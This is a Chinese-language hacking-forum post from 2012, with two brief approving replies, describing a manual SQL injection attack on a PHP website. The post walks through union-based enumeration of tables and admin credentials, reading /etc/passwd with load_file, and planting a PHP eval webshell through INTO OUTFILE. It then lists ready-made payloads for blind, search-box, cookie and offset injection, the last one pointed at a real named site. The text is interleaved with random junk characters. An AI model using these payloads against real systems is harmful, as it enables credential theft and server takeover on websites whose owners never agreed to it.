找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2919|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~( H; N% ^+ B7 o3 S7 }$ a, X
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
% h, m1 P# h5 O0 e2 C: X6 n我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。* t0 s5 q: K& e' M- j  k
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)8 J: r$ U4 V( l! s8 B, E- K9 _$ c
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)! I: p6 e3 h. |0 H
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
* W/ s1 X7 |$ o- B! z/ J) ?Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
6 f3 R- a+ |. Y! O/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
" K2 m- A! y8 N) z8 V                        
9 \% f. @+ ^) g5 [7 s2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,$ [, ?* d% P( I) i3 i, ~1 m+ _
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意& I/ ~# ~1 C6 w2 ]
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息, J6 q, w) Q7 s+ ~  b% g
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。! W& S/ q# y: s' H- W
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,3 W+ ^/ |# d, S1 m
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。: _( R* J0 z. C) x
我就用的是第二个思路,' f! W3 ?+ t/ ~; C7 J
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  0 U* H( X3 H9 L* p+ y
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,' q& v$ K% K: j+ e; i) n
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--2 Z3 w- d, B- N9 G' ]# t, _
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。8 R& b$ j/ F% O' f' C9 k6 E
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
' E0 H* L2 ~2 W# L4 e0 e; a是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
1 b. X; {4 U; F" n, I+ Y提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
: Q# z$ V$ O  n1 Q然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
- q. x  |& i$ U- s2 u. w0 Y5 [调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
$ A; }# e' H' X- o7 F, D下面是一些很普遍注入方式资料:
! w! q7 u# e0 \# t! N注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
% p) T& y- f2 \" g' W拆半法0 D! @8 |# L' X' @1 X
######################################
  Q7 n, [5 Y! k+ p/ n0 `3 }7 \and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
6 c$ L9 ~5 n9 ^* s0 J- |and exists (select * from admin)- P0 X6 ^* m, V3 I1 g
and exists(select id from admin)# _1 J. c8 y! ?3 p
and exists(select id from admin where id=1)
2 e% L  x5 W5 `+ O% \2 Mand exists(select id from admin where id>1) 5 @. |& x+ U' |. u8 k% J+ v# s' t
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 + K+ [4 k+ P# Z. N
and exists (select username from admin)( }6 X3 A% g$ O
and exists (select password from admin)
* P! H6 {" k# A( wand exists (select id from admin where len(username)<10 and id=1)" m# k8 e" a  i) @' ^: b% B  }2 b
and exists (select id from admin where len(username)>5 and id=1)/ C" O- P; P% f2 c/ _$ E4 a% r
and exists (select id from admin where len(username)=6 and id=1)
% p0 C- |- }7 C+ Q& r' Vand exists (select id from admin where len(password)<10 and id=1)
4 S6 L+ D3 W$ J! Dand exists (select id from admin where len(password)>5 and id=1)
$ _! d  v+ ^3 Zand exists (select id from admin where len(password)=7 and id=1)
$ D7 K4 F! s; f9 Pand (select top 1 asc(mid(username,1,1)) from admin)=97
9 ?. ^! u) p7 \6 _0 S返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
8 K( F2 [( E* F6 y0 b猜第二位把username,1,1改成username,2,1就可以了。
- y9 n+ g6 d' [6 O+ e3 y4 i猜密码把username改成password就OK了
9 G- r# ^7 _7 F3 y5 u##################################################
" }! B6 s" b0 Y8 ?/ x搜索型注入
9 U8 [: w& `' P##################################
* y3 ^' n6 S8 h%' and 1=1 and '%'='! C& O; k/ X3 h. b
%' and exists (select * from admin) and '%'='
& L  L' i& G4 c, }) T3 [  H8 d& w%' and exists(select id from admin where id=1) and '%'='. D# B# H4 X2 w/ I: U5 e* X* t
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
( V, D" s2 G$ K5 d1 G, e%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
5 g6 p& l3 C1 H3 p3 L* j3 N% E6 U%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='8 A/ V& K8 c6 J# Z9 E% h
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='9 {' C6 v" p, h; V
对于MSSQL数据库,后面可以吧 and '%'='换成--
* a( B7 M8 s5 |; {' b还有一点搜索型注入也可以使用union语句。, X1 J' n1 Y3 g- V4 }
########################################################& h! k! W1 j9 x. s
联合查询。/ Q4 k) r/ |, y& I# P% h. o
#####################################
3 R# a7 n5 J9 l. j# }order by 10
$ S, h- X7 a/ Iand 1=2 union select 1,2,3,4,5,6,7,8,9,103 O8 ~7 o0 h  N9 x' Q' [# x
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin5 U/ M* K& _4 H
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
* s1 L( [3 F, c; v6 o4 q, |1 j很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
% \% [+ y7 J' |' b/ y5 L6 Q5 U3 J###################################  T& N# j, |9 P
cookie注入
$ k& ]/ O/ J6 K* p/ \* u###############################6 i# p: B7 K. x4 G# `0 i' P' ?  e7 u
http://www.******.com/shownews.asp?id=127
* N$ y* f* F( i# M- x% ehttp://www.******.com/shownews.asp
" Z; l: E! g/ A* I4 J! ~( V2 n8 Kalert(="id="+escape("127"));
1 U4 n( K! M; l; k) b( Palert(="id="+escape("127 and 1=1"));
% V; b) y. G2 M. z( W9 galert(="id="+escape("127 order by 10"));
" W) @/ s% v  {; \! ^alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
3 T0 @# v0 R4 k4 @2 l( [/ Nalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));8 J. D1 Z) m1 f
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
: v/ y1 M; ?' N: |; t" q+ p###################################
7 a8 N' ^  U4 `9 _+ j5 z偏移注入
& F, B9 k2 [( X6 j###########################################################4 m3 D. s5 X& X- j% {" C/ y
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
, T7 v+ m2 t% q) `+ {union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
! \8 U/ c) h: ]9 M# junion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)( y; `& N: }& ?9 l, H1 Q
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
- S* t2 W4 V0 H- Munion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
) B3 c* x. k" Q$ P4 w4 I& aunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
3 O5 c# A1 Y1 k; q# d0 l% J1 Tunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on8 V/ ]) U7 Q- l& p2 r
a.id=d.id)
3 Z7 ?5 [/ x% w! W  F0 Jand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)# ^% V; v" D* k6 w9 V0 Q6 I
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
2 U' s3 L" Z. E# g7 }% N  
5 q, d5 k5 h2 J' |! |============================================================================================================
$ {7 d! }" K& G1.判断版本
5 N( \( c: w+ m! ?5 e9 R* H" H3 Vand ord(mid(version(),1,1))>51
4 {0 q& u! ^. R% `: t返回正常,说明大于4.0版本,支持ounion查询
+ d& |; F  R) l0 S9 G& f" u* {) a2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解- \2 _7 C1 ~  _+ w' u+ E. z. B
and 2=4 union select 1,2,3,4,5,6,7,8,9--
. K: ]( @% p& J% n' r. n. @/ I3.查看数据库版本及当前用户,+ R& E2 P/ U7 q: Q5 d0 R! V2 V
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--( R6 x3 Y# Q7 q7 w+ p! p4 a
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,) h; j1 q; q, n
4.判断有没有写权限, l- M0 l% u, a5 H% }1 @1 A
and (select count(*) from MySQL.user)>0--
7 m3 A  }1 e9 ?' i1 L0 w9 D5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1& \, e" l0 D  q, K
用不了这个命令,就学习土耳其黑客手法,如下
  k  ?( X. O+ s6 @' S1 aand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
1 b( Q& B& ]0 C# e7 j6.爆表,爆库# O  C3 D# l4 \, E9 }4 R
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--3 R, f5 Q  Q' I  I# ~
7.爆列名,爆表
5 r8 |1 F7 h( _7 \% W) Iand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
- S& Q% i: O% s4 [8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
% M5 s$ k; \" iand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--5 V* e' z- j4 w6 n5 e* O
9.爆字段内容# q" L! r7 _2 `5 C
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--$ z6 o& ], b2 }# ~( e
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表